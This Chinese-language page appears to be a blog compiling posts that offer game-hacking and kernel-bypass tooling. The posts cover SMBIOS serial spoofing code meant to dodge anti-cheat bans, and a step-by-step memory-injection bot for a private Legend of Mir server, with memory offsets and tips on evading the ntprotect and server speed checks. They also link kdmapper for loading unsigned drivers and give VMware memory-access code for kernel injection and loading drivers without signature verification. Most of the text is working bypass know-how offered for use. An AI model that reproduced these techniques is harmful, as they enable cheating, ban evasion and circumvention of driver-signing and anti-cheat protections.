                        serialNumber = GetString((SMBIOS_HEADER*)pCpuHeader, pCpuHeader->ProcessorId,
                            header->Length);
                        DbgPrint("re-read CPU: %s.Len:%d\r\n", serialNumber, header->Length);
                    }
                }
                header = (PSMBIOS_HEADER)((char*)header + TableLength(header));
            }
            DbgPrint("[WmipRawSMBiosTableHandlerHook] Serial numbers spoofed.");
        }

    具体代码见附件HardwareSNModify(fix版).7z,是对附件HardwareSNModify.rar的升级。

    效果如下:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    上面只截了UEFI的图,BIOS也同样有效果。

    这里分别对不同类型的SMBIOS进行了修改,CPU、主板、内存、硬盘序列号。经过详细测试,稳定运行。

    其实CPU虚拟化也可以修改CPU序列号,但考虑有些PC不开启VT,所以还是选择了上面的方法。

    其余的序列号修改可以参考附件里的手册。

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    之前想着直接清空硬件序列号,但这种方法可能会被Anti-Cheat forbid。所以实现为Random序列号。

    注意:

    另外,若是需要重启的方法,驱动加载后需要修改注册表, 把Start键值改为1。如下图:

    获得并修改硬件序列号--CPU、主板、内存、硬盘等(有源码)

    总结:

    上文两种方法,不需要重启的方法,要求是BIOS引导。需要重启的方法,UEFI和BIOS的都兼容。第一种方法关于UEFI的下回再分解,第二种方法设置为开机启动,其实也很方便。

    附件里还有SetupRwX64.exe,是上文所用到的RW工具。

    拜拜,谢谢各位大佬阅读本文

    源码

    !1765376500-硬件修改

  • 传奇私服外挂开发(有源码)

    传奇私服外挂开发(有源码)

    引言:

    论坛还没有关于传奇私服外挂开发的文章,于是把我前段时间开发过的一款外挂分享出来。传奇私服如火如荼,经过我们统计,有1000多个传奇私服登陆器。本文只针对一款特定的私服做外挂开发,但原理都是一样的。本文有基础介绍,有难点分析,有针对玩家挂机体验做优化,有源码(见附件)。但文章只做研究用,请勿用来做商业用途,破坏游戏的平衡性。

    下图是外挂挂机的截图:

    传奇私服外挂开发(有源码)

    界面、功能虽简单,但外挂主要功能都有。且不会被反外挂检测到,这款私服的反外挂是ntprotect:

    传奇私服外挂开发(有源码)

    有人会问,传奇私服大都有内挂:

    传奇私服外挂开发(有源码)

    为什么还要做私服的外挂?因为内挂是要花钱的, 一个账号要花xx RMB。而且本文的外挂是基于内存挂,不是像大漠插件的图色+键鼠模拟外挂,是可以多开的。多开的意义不用我说。

    好了,进入主题吧:

     

    一、 开发前的准备:

    上文提到了,本文是基于内存的Call挂,即注入DLL到游戏,调用游戏内的功能函数实现挂机。除了内存挂,还有图色挂和脱机挂。

    图色外挂就是识别游戏的图片,来判断怪物,怪物在什么地方,一般模拟键鼠来挂机,优点是开发快速,缺点是一台机器只能挂一个游戏,不能实现多开来挂机。因为键鼠分不了身啊。

    脱机挂是分析清除了游戏的传输数据协议,直接收发包来实现挂机。

    这款挂是基于C++加内嵌汇编开发的,常用的开发语言还有易语言。

     

            1、 工具准备:

    CheatEngine、X32dbg、IDA、VT虚拟化调试器。由于游戏有反外挂,会检测调试器,所以要上VT。VT现在好多群里在买,一个月300左右。

    传奇私服外挂开发(有源码)

    当然有实力也可以自己开发一款,这里给出一篇看雪的文章:https://bbs.kanxue.com/thread-214916.htm

            2、 逆向分析:

    这个步骤很关键,因为是内存Call挂,自然需要逆向分析出各个关键数据存放的地址。不过大家放心,私服是非常少,或者不会更新里面数据的基地址的,所以找一遍地址就行。下面介绍关键数据和Call的找法:

            1). 血量:

    发现直接搜索血量能搜索到,但CheatEngine查找谁访问的基地址,怎么找都是找不到的。于是想到游戏或者反外挂做了手脚,因为这是对外挂最需要的数据。

    后来搜减少、减少的数值(类型为2字节),逐步缩小范围后找到了基地址:

    [[[[F74388]+834]+4]+x*4]+582

    x为0代表自己的血量,x为其它数值代表怪物的血量。

            2). 怪物坐标:

    这个CE搜索人物的坐标,然后查找谁访问的基地址,可以找到:

    X坐标: [[[[F74388]+834]+4]+x*4]+908

    Y坐标: [[[[F74388]+834]+4]+x*4]+A00

    x为0代表人物的坐标,但也有例外,有很小几率x是0怪物的坐标。

    这里科普下为什么搜索到人物的坐标后,要CE再查找谁访问的,因为搜索到人物的坐标是个堆栈地址,每次程序重启后,都不一样,所以要找出基地址。

    传奇私服外挂开发(有源码)

    上图右边的CE绿色的就是基地址。一般要查找几轮才能到达基地址,如下图:

    传奇私服外挂开发(有源码)

    具体可以看网上的教程,这里不再详述。

             3). 怪物数量:

    按上面基地址的公式,观察内存中的数据可以得到:

    [[[[F74388]+834]+8

            4). 怪物名字:

    这个不能CE的查找谁访问找到,定位方式是:先用x32dbg找到怪物基地址。查找的方法可以借鉴网上的方法,但一般是对某个和人物有关的功能下断点,比如骑马、下马,bp Send后,栈回溯,Go到栈中的函数,可以看到上下文汇编代码有出现人物的基地址。

    找到怪物基地址后,用CE搜怪物名字如”稻草人”得到地址A。再用CE搜A是哪个地址访问的值,得到地址B。最后B减去怪物基地址得到偏移。所以怪物名字基地址:

    [[[[F74388]+834]+4]+x*4]+C24

            5). 攻击怪物基地址:

    选择一个怪物攻击,CE搜1,停止攻击怪,CE搜0,反复几次,然后查找谁访问或写入的,得出基地址:

    F7A8A4

            6).地面物品数量:

    方法同上,略:

    [[0091bb2c]]+8

            7). 地面物品坐标:

    这个比较难用上面的方法搜索到,使用CE工具里面的Structure dissect看的,在里面输入物品结构体的地址:0091bb2c。然后逐级展开结构体:

    传奇私服外挂开发(有源码)

    最终确认地面物品坐标:

    [[[[[[0091bb2c]]+4]+x*4]+4]+0]+8 //X坐标

    [[[[[[0091bb2c]]+4]+x*4]+4]+0]+C //Y坐标

    x为第几个物品。

    CE里还有个工具也很好用,若搜到数据后,不想查找对应的基地址,可以用指针扫描器:

    传奇私服外挂开发(有源码)

    填入扫描的地址,开始扫描后,多重启几次游戏,用这个工具对比,即可找到基地址。

     

            8). 捡物call:

    查找的方法是下断发包函数(bp send),然后分析栈中的函数,找到如下call:

    传奇私服外挂开发(有源码)

    然后查找eax的基地址,之后调用0x701620就行了。0x701620是因为游戏exe的基地址是0x400000,加上0x301620就是了。

    这里给出捡物品的代码:

    传奇私服外挂开发(有源码)

            9). 走路call:

    同样是下断发包函数(bp send),然后分析栈中的函数,找到如下call:

    传奇私服外挂开发(有源码)

    传奇游戏有走路和跑步call,且有8个方向,只是参数不一样。参数的确定,可以分别向8个方向走路或跑步,代码如下:

    传奇私服外挂开发(有源码)

            10). 自动寻路call:

    我们点击小地图上的点时,是可以自动寻路的。于是想去找这个Call。但是并不顺利,这个call查找花了我好多功夫,一开始查找的call,是需要开启小地图,且寻路后鼠标会黏在小地图上。

    然后想到使用A*或者B*算法去寻路,但需要提前制作好二值化地图数据,所有地图都需要制作,而且以后地图更新了,我们程序也得更新。

    经过研究,找到完美call的方法: 先找到寻路状态的地址,寻路为1,不寻路为0。然后发现目的坐标写在后面,对其下硬件写入断点,断下函数逐层栈函数进行IDA分析。得到的call如下:

    传奇私服外挂开发(有源码)

    为了代码稳定起见,部分代码改成了C++实现:

    传奇私服外挂开发(有源码)

    为什么部分代码改为C++写就稳定了呢,因为比如遍历怪物数组时,怪物刷新了,导致访问数组就会崩溃。再比如A指向一块内存B,访问B的某偏移获得怪物某属性,而B此时释放了,怎么办?

    解决方法是:先读取是否是有效的内存,再进行操作,比如使用ReadProcessMemory并判断返回值。

     

            11).角色\怪物类型:

    这个也是比较难定位的,就用自己写的程序(OffsetFind,见附件)去比较数组,得出来角色\怪物的类型。

    原理是对比游戏内存中两个怪物数组的数据,设置好过滤条件,然后找出不同的地方:

    传奇私服外挂开发(有源码)

    比较出来的结果例如下图:

    传奇私服外挂开发(有源码)

    找出来的怪物类型如下图:

    传奇私服外挂开发(有源码)

            12).自动回收装备:

    分析略。见附件代码:

    传奇私服外挂开发(有源码)

            13). 背包数组:

    找法:CE搜索背包的第一格物品名称,并下断。然后把第一个物品移动到其它格子。会在mov ecx,00000426断下:

    传奇私服外挂开发(有源码)

    再根据上面的代码推导出公式:

    [[0091BCDC]]+(0xC72+0*0x213)*8+1

     

            14). 快捷栏数组:

    分析方法同背包数组。公式: [[0091BCDC]]+(0*0x213)*8+1

     

            15). 方便玩家PK的小退、使用快捷栏物品、喊话:

    小退在此断下:

    传奇私服外挂开发(有源码)

    对应的汇编调用代码如下:

    传奇私服外挂开发(有源码)

    使用随机传送石在此断下:

    传奇私服外挂开发(有源码)

    默认回城卷轴会在快捷栏第一格、随机卷轴会在快捷栏第二格:

    传奇私服外挂开发(有源码)

    对应的汇编调用代码如下:

     

    传奇私服外挂开发(有源码)

    喊话call在此断下:

    传奇私服外挂开发(有源码)

    对应的C++调用代码如下:

    传奇私服外挂开发(有源码)

            小结:

    好了,关键数据的基地址和Call就分析完了,下面说一下小技巧:

    1.      CE查找谁访问或写入的地址时,发现是循环的值怎么办,分析其它搜索到的记录。或用CE的指针扫描器。

    2.      查找call的方法是下断发包函数(bp send),但有的功能函数和发包函数不在一个线程,即专门有个发包的函数,这种情况定位功能call的方法可以见网上:https://blog.csdn.net/liujiayu2/article/details/57089112

    3.      有时候找血量或其它,不好找,先找其它属性,定位到基地址,然后再找。也可以用CE的Structure dissect查看。

     

          二、 代码编写:

    有了上面的逆向分析,我们就开始讲下代码吧。

    外挂的功能主要是自动打怪、捡物品、装备回收。

    打怪是往一个地址写入怪物ID就会打怪,停止打怪是设置这个地址为0。

    传奇私服外挂开发(有源码)

    自动打怪是一边寻路到挂机点一边打怪,挂机点是自动生成的,后面会介绍。

    捡取物品是要踩到物品上,也就是走或跑到物品的坐标才能捡取。

    一定范围的怪物打完才捡取物品,捡取所有物品。

    打怪和捡取物品的入口函数如下:

    传奇私服外挂开发(有源码)

    装备回收是模拟用户操作界面点击回收按钮。当然不是模拟点击,而是call内部函数。

    传奇私服外挂开发(有源码)

    最主要功能就是上面所述。

     

            1、 重难点优化:

    下面介绍下开发中的遇到的问题及优化。

            1). 卡角落打怪:

    自动打怪过程中,是需要走\跑路过去打的。但有些是过不去的,如下图:

    传奇私服外挂开发(有源码)

    上图中选中的是楼上的怪物,因为走\跑路不了楼上,会一直卡在这。

    传奇私服外挂开发(有源码)

    上图中选中的是对面的怪物,因为走\跑路不过去,会一直卡在这。

    可能是走\跑路到坐标点本身无法到达,我们需要解决这个问题。

    在选择怪并执行打怪动作后,使用下面的函数进行检查:

    传奇私服外挂开发(有源码)

    若一段时间内检测打怪状态为0,且怪物血量不为0,说明卡角落打怪了,就调用寻路Call过去打怪。若此时还没检测到则放弃此怪物:

    传奇私服外挂开发(有源码)

    那什么时候重新打此怪物呢?人物自己移动了一定距离,不会卡障碍物就可以重新打怪物。

    传奇私服外挂开发(有源码)

    经过这样的优化,就不会出现挂机卡着了。

     

            2). 聚怪打怪速度优化:

    当周围怪物很多很多的时候,若要打的怪走动了,被别的怪挡住了,此时调用函数CheckAttack检查没有攻击怪,然后会寻路并等待,所以造成打怪停止半天,才接着打:

    传奇私服外挂开发(有源码)

    针对它的优化是当周围怪物达到6个以上时,使用CheckAccumulationAttack函数进行快速检查,若没有检查到攻击状态,则暂时放弃此怪物:

    传奇私服外挂开发(有源码)

    当怪物小于等于6时,放弃的怪物又可以重新打,以免暂时放弃的怪老跟着自己。

     

            3).打一下怪物跑一下:

    测试时自动打怪时,人物会打一下跑一下,再打,再跑一下。这样会拖慢挂机效率。针对此问题时选择怪物后,跑到怪物旁边去再攻击:

    传奇私服外挂开发(有源码)

    4). 卡地点不移动了:

    有时候人物会卡在一个地点不动了,自动寻路也不会动,如下图:

    传奇私服外挂开发(有源码)

    猜测寻路算法已损坏,此时随便跑一下,接着寻路就可以动了:

    传奇私服外挂开发(有源码)

            5). 不捡别人的物品思路:

    在捡取物品时,若物品是别的玩家的,会不断地捡取物品。

    解决方法是调用捡物品Call时,记录下来物品ID,下次不再捡取。

    传奇私服外挂开发(有源码)

            6). 过服务器反外挂检测:

    防止速度太快,服务器把自己定在一个位置:

    传奇私服外挂开发(有源码)

    解决方法是,在打怪时,适当休息一段时间:

    传奇私服外挂开发(有源码)

            7). 自动生成打怪坐标的优化:

    一般的生成打怪坐标点是靠人工手动选取,附件代码里做了自动生成。

    且生成的坐标点是按一定距离生成的。不会出现坐标点之间的距离很近,这样自动挂机就没有意义。同时会按照地图大小,调整这个距离。

    这里还有个问题,就是很大的地图,自动生成坐标点会很慢。也做了优化,会映射到一个较小地图上,然后再随机生成坐标点。

    传奇私服外挂开发(有源码)

            总结:

    就介绍到这里了,代码见附件。vs工程里还提供了一个代码注入器。生成的代码是可以挂机的。登陆器下载地址: http://www.miaohai.com/ 但再次声明,本程序不要用作不法用途。

    源码
    1765376233-传奇私服

  • kdmapper加载无签名驱动

    github地址
    https://github.com/TheCruZ/kdmapper

  • 关于vmware 穿透读写的研究

    1765203475-VmWareThrough-main
    通过研究这份代码发现,在VMware虚拟机内存大于2gb的时候,会出现一个问题就是找不到偏移,通过不断调试对比内存发现,在VMReadHostRegion读不到vmem中的数据。

    这时候需要修改VMReadHostRegion函数,另外这份源码是不能运行在windows 11的系统中的,因为vmware选择win11安装后,在内存布局中是没有vmem内存名称的,需要搜索eprocess的特征来确定实际的vmem内存地址

    BOOL VMReadHostRegion(PVOID buffer, ULONG64 addr, SIZE_T size) {
    ReadProcessMemory(gVmWareProcessHandle,
    (void*)((ULONG64)gMemBaseInfo.BaseAddress + addr),
    buffer, size, NULL);
    //读取在正常地址内读取不到需要的数据,就在减去0x40000000的位置再读取一次,这样就能读取到需要的数据了。也能在大于2GB内存的系统内读写内存
    if (*(DWORD64*)buffer == 0)
    {
    ReadProcessMemory(gVmWareProcessHandle,
    (void*)((ULONG64)gMemBaseInfo.BaseAddress + addr – 0x40000000),
    buffer, size, NULL);
    }
    if (*(DWORD64*)buffer == 0)
    {
    return FALSE;
    }
    else
    {
    return TRUE;
    }
    }
    # VMware内存操作工具原理文档
    ## 1. 项目概述
    本项目是一个高级VMware虚拟机内存操作工具,用于从宿主机直接访问和操作虚拟机内存,实现内核模式注入和驱动加载等功能。该工具通过直接访问VMware进程映射的虚拟机物理内存,绕过了传统的虚拟机隔离机制,实现了对虚拟机内部系统的深度控制。
    ## 2. 核心组件
    ### 2.1 主应用程序(VmWareApp.c/h)
    – **功能**:实现核心功能,包括内存初始化、内核数据获取、进程查找等
    – **主要函数**:
      – `VmWareThroughInit`:初始化整个系统
      – `VMFindVmProcessData`:查找目标进程数据
      – `VMReadVmVirtualAddr`/`VMWriteVmVirtualAddr`:读写虚拟机虚拟地址
      – `VMTranslatePhyAddress`:虚拟地址转物理地址  (重点vmem地址+物理地址=虚拟机内地址)
    ### 2.2 内核模式注入(KernelModeInject.c/h)
    – **功能**:实现内核模式代码注入
    – **主要函数**:
      – `KMIKernelInject`:执行内核注入
      – `KMIGetWinModuleInfo`:获取Windows模块信息
    ### 2.3 VMware磁盘操作(VmWareDisk.c/h)
    – **功能**:封装VMware VIX Disk Library,实现虚拟机磁盘操作
    – **主要功能**:连接虚拟机、打开磁盘、读写磁盘等
    ### 2.4 内存操作(MemX64.c/h)
    – **功能**:实现x64/IA32e模式下的内存管理
    – **主要函数**:
      – `MemX64Prototype`:处理原型页表项
      – `MemX64TransitionPaged`:处理转换页表项
    ### 2.5 辅助组件
    – **pe.c/h**:PE文件操作
    – **vad.c/h**:虚拟地址描述符(VAD)操作
    – **debug.c/h**:调试功能
    – **misc.c/h**:杂项功能
    ## 3. 执行步骤
    ### 3.1 初始化阶段
    1. **进程句柄获取**:
       – 打开VMware进程,获取进程句柄
       – 权限:需要`PROCESS_VM_READ`、`PROCESS_VM_WRITE`等权限
    2. **内存映射查找**:
       – 通过`VMFindMappedRegion`函数遍历VMware进程的内存映射
       – 查找扩展名为`.vmem`的内存映射区域,这是虚拟机物理内存的映射
       – 记录映射基址和大小
    3. **内核数据初始化**:
       – 通过`VMNtKernelDataInit`函数从物理内存中查找内核数据
       – 扫描物理内存中的`PROCESSOR_START_BLOCK`结构
       – 获取内核入口地址和DirectoryTableBase(CR3)
    4. **进程偏移获取**:
       – 通过`VMGetWinX64ProcessOffset`函数获取Windows内核结构偏移
       – 查找`DirectoryTableBaseOffset`、`ActiveProcessLinksOffset`、`ImageFileNameOffset`等
       – 通过特征值扫描定位VAD根节点偏移
    ### 3.2 进程查找阶段
    1. **系统进程获取**:
       – 从内核数据中获取System进程的EPROCESS地址
       – 通过`ActiveProcessLinks`链表遍历所有进程
    2. **目标进程定位**:
       – 根据进程名(如”notepad.exe”)查找目标进程
       – 比较进程的`ImageFileName`字段
       – 获取目标进程的EPROCESS结构和CR3值
    3. **进程数据记录**:
       – 将目标进程的EPROCESS地址、CR3、VAD根节点等信息保存到`VM_PROCESS_DATA`结构
    ### 3.3 内核注入阶段
    1. **注入准备**:
       – 准备注入代码和数据
       – 初始化注入数据结构`KMJDATA`
    2. **内核函数获取**:
       – 通过`KMJInitializeVmKernelFunctions`函数获取内核函数地址
       – 包括`PsCreateSystemThread`、`MmMapIoSpaceEx`等关键函数
    3. **注入执行**:
       – 通过`KMIKernelInject`函数执行内核注入
       – 利用之前获取的内核数据和进程信息
       – 执行阶段1、阶段2、阶段3注入代码
    ### 3.4 驱动加载阶段
    1. **驱动路径处理**:
       – 处理驱动路径,转换为NT路径格式(如”\\??\\c:\\test\\DriverTest.sys”)
    2. **驱动加载**:
       – 通过`VMLoadDriver`函数加载驱动
       – 利用之前的内核注入结果
       – 调用内核函数加载驱动
    ## 4. 技术原理
    ### 4.1 VMware内存映射利用
    – **原理**:VMware将虚拟机的物理内存以`.vmem`文件的形式映射到宿主机进程空间
    – **实现**:通过`GetMappedFileNameA`函数查找`.vmem`映射区域
    – **优势**:直接访问物理内存,绕过虚拟机监控器(VMM)的隔离
    ### 4.2 物理内存直接访问
    – **原理**:利用VMware进程的内存映射,直接读写虚拟机物理内存
    – **实现**:通过`ReadProcessMemory`和`WriteProcessMemory`函数访问映射区域
    – **关键函数**:
      – `VMReadHostRegion`:读取宿主机内存区域
      – `VMWriteHostRegion`:写入宿主机内存区域
    ### 4.3 虚拟地址转换
    – **原理**:实现x64/IA32e模式下的页表转换
    – **步骤**:
      1. 从虚拟地址中提取PML4、PDPT、PD、PT索引
      2. 遍历页表,获取物理页框号
      3. 组合物理页框号和页内偏移,得到物理地址
    – **关键函数**:`VMTranslatePhyAddress`
    ### 4.4 内核数据结构解析
    – **原理**:通过特征值扫描和结构分析,定位内核数据结构
    – **主要结构**:
      – `EPROCESS`:进程对象
      – `KPROCESS`:内核进程对象
      – `VAD`:虚拟地址描述符
      – `LDR_DATA_TABLE_ENTRY`:模块加载信息
    – **实现**:通过`VMGetWinX64ProcessOffset`函数动态查找结构偏移
    ### 4.5 内核模式注入
    – **原理**:利用物理内存访问,修改内核数据和代码,实现无驱动内核注入
    – **阶段**:
      1. 阶段1:初始化和准备
      2. 阶段2:代码注入和执行
      3. 阶段3:后续处理和清理
    – **关键技术**:直接修改内核内存、调用内核函数、创建系统线程
    ### 4.6 驱动加载
    – **原理**:利用内核注入结果,调用内核函数加载驱动
    – **优势**:绕过传统的驱动签名验证和加载机制
    – **实现**:通过注入的代码调用`ZwSetSystemInformation`或直接操作驱动对象
    ## 5. 核心数据结构
    ### 5.1 NT_PROCESS_OFFSET
    “`c
    typedef struct _NT_PROCESS_OFFSET {
        DWORD DirectoryTableBaseOffset;    // DirectoryTableBase偏移
        DWORD ActiveProcessLinksOffset;    // ActiveProcessLinks偏移
        DWORD ImageFileNameOffset;         // ImageFileName偏移
        DWORD UniqueProcessId;             // 唯一进程ID
        DWORD VadRootOffset;               // VAD根节点偏移
    } NT_PROCESS_OFFSET, *PNT_PROCESS_OFFSET;
    “`
    ### 5.2 NT_PROCESS_DATA
    “`c
    typedef struct _NT_PROCESS_DATA {
        DWORD ProcessSize;                 // 进程大小
        DWORD64 MemoryKernelDirbase;       // 内核DirectoryTableBase
        DWORD64 MemoryKernelEntry;         // 内核入口地址
        DWORD64 MemoryKernelBase;          // 内核基地址
        DWORD64 SystemProcessEprocess;     // System进程EPROCESS地址
        PVOID PsLoadedModuleListPtr;       // 模块加载列表指针
    } NT_PROCESS_DATA, *PNT_PROCESS_VERSION_DATA;
    “`
    ### 5.3 VM_PROCESS_DATA
    “`c
    typedef struct _VM_PROCESS_DATA {
        DWORD64 PEB;                      // PEB地址
        DWORD PEB32;                      // 32位PEB(仅WoW64)
        DWORD64 DestProcessEprocess;      // 目标进程EPROCESS地址
        ULONGLONG DestProcessCr3;         // 目标进程CR3
        DWORD64 VadRoot;                  // 目标进程VAD根节点
    } VM_PROCESS_DATA, *PVM_PROCESS_DATA;
    “`
    ## 6. 安全考虑
    ### 6.1 风险
    – **虚拟机逃逸风险**:直接访问物理内存可能导致虚拟机逃逸
    – **系统稳定性风险**:错误的内存修改可能导致虚拟机崩溃
    – **安全软件检测**:可能被安全软件检测为恶意行为
    – **法律风险**:未经授权访问虚拟机内存可能违反法律法规
    ### 6.2 防护措施
    – **权限控制**:仅在必要时使用高权限
    – **内存验证**:修改内存前验证地址有效性
    – **错误处理**:完善的错误处理机制
    – **日志记录**:详细的操作日志,便于调试和审计
    ## 7. 应用场景
    – **虚拟机调试**:深入调试虚拟机内核和驱动
    – **安全研究**:研究虚拟机安全机制和漏洞
    – **恶意软件分析**:在隔离环境中分析恶意软件
    – **系统维护**:在虚拟机无法正常启动时进行修复
    – **逆向工程**:分析虚拟机中的软件和驱动
    ## 8. 技术亮点
    1. **直接物理内存访问**:绕过VMM隔离,实现高效内存访问
    2. **动态偏移查找**:无需硬编码内核结构偏移,适应不同Windows版本
    3. **无驱动内核注入**:不需要加载驱动即可实现内核模式操作
    4. **跨版本兼容**:支持多种Windows版本
    5. **模块化设计**:组件化设计,便于扩展和维护
    ## 9. 后续改进方向
    1. **PDB支持**:通过PDB文件获取内核结构偏移,提高准确性和兼容性
    2. **更多虚拟机支持**:支持VirtualBox、Hyper-V等其他虚拟机
    3. **GUI界面**:开发图形用户界面,提高易用性
    4. **更多注入方式**:支持更多内核注入技术
    5. **自动化脚本**:支持脚本自动化操作
    6. **安全增强**:添加更多安全检查和防护机制